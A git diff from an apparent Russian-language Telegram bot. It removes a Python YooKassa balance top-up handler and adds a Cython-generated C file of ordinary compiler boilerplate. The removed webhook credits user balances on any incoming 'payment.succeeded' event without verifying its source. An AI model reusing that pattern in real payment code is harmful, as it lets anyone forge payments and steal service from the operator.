callback_data="pay")) - - key_count = await get_key_count(tg_id) - - if key_count == 0: - exists = await check_connection_exists(tg_id) - if not exists: - await add_connection(tg_id, balance=0.0, trial=0, session=session) - - await callback_query.message.answer( - text="Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.choosing_amount_yookassa) - - -@router.callback_query(F.data.startswith("yookassa_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - - if len(data) != 2: - return - - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yookassa - ) - - # state_data = await state.get_data() - customer_name = callback_query.from_user.full_name - customer_id = callback_query.message.chat.id - - customer_email = f"{customer_id}@solo.net" - - payment = Payment.create( - { - "amount": {"value": str(amount), "currency": "RUB"}, - "confirmation": { - "type": "redirect", - "return_url": "https://pocomacho.ru/success.html", - }, - "capture": True, - "description": "Пополнение баланса", - "receipt": { - "customer": { - "full_name": customer_name, - "email": customer_email, - "phone": "79000000000", - }, - "items": [ - { - "description": "Пополнение баланса", - "quantity": "1.00", - "amount": {"value": str(amount), "currency": "RUB"}, - "vat_code": 1, - } - ], - }, - "metadata": {"user_id": customer_id}, - }, - uuid.uuid4(), - ) - - if payment["status"] == "pending": - payment_url = payment["confirmation"]["confirmation_url"] - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await callback_query.message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - else: - await callback_query.message.answer("Ошибка при создании платежа.") - - -async def yookassa_webhook(request): - event = await request.json() - logger.debug(f"Webhook event received: {event}") - if event["event"] == "payment.succeeded": - user_id_str = event["object"]["metadata"]["user_id"] - amount_str = event["object"]["amount"]["value"] - try: - user_id = int(user_id_str) - amount = float(amount_str) - logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - await add_payment(int(user_id), float(amount), "yookassa") - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - except ValueError as e: - logger.error(f"Ошибка конвертации user_id или amount: {e}") - return web.Response(status=400) - return web.Response(status=200) - - -@router.callback_query(F.data == "enter_custom_amount_yookassa") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_yookassa")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.entering_custom_amount_yookassa) - - -@router.message(ReplenishBalanceState.entering_custom_amount_yookassa) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount <= 0: - await message.answer( - "Сумма должна быть больше нуля. Пожалуйста, введите сумму еще раз:" - ) - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yookassa - ) - - try: - payment = Payment.create( - { - "amount": {"value": str(amount), "currency": "RUB"}, - "confirmation": { - "type": "redirect", - "return_url": "https://pocomacho.ru/success.html", - }, - "capture": True, - "description": "Пополнение баланса", - "receipt": { - "customer": { - "full_name": message.from_user.full_name, - "email": f"{message.chat.id}@solo.net", - "phone": "79000000000", - }, - "items": [ - { - "description": "Пополнение баланса", - "quantity": "1.00", - "amount": { - "value": str(amount), - "currency": "RUB", - }, - "vat_code": 1, - } - ], - }, - "metadata": {"user_id": message.chat.id}, - }, - uuid.uuid4(), - ) - - if payment["status"] == "pending": - payment_url = payment["confirmation"]["confirmation_url"] - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - else: - await message.answer("Ошибка при создании платежа.") - - except Exception as e: - logger.error(f"Ошибка при создании платежа: {e}") - await message.answer("Произошла ошибка при создании платежа.") - else: - await message.answer("Некорректная сумма. Пожалуйста, введите сумму еще раз:") diff --git a/handlers/payments/yoomoney_pay.c b/handlers/payments/yoomoney_pay.c new file mode 100644 index 00000000..df4bd5dc --- /dev/null +++ b/handlers/payments/yoomoney_pay.c @@ -0,0 +1,18033 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.yoomoney_pay", + "sources": [ + "handlers/payments/yoomoney_pay.py" + ] + }, + "module_name": "handlers.payments.yoomoney_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { 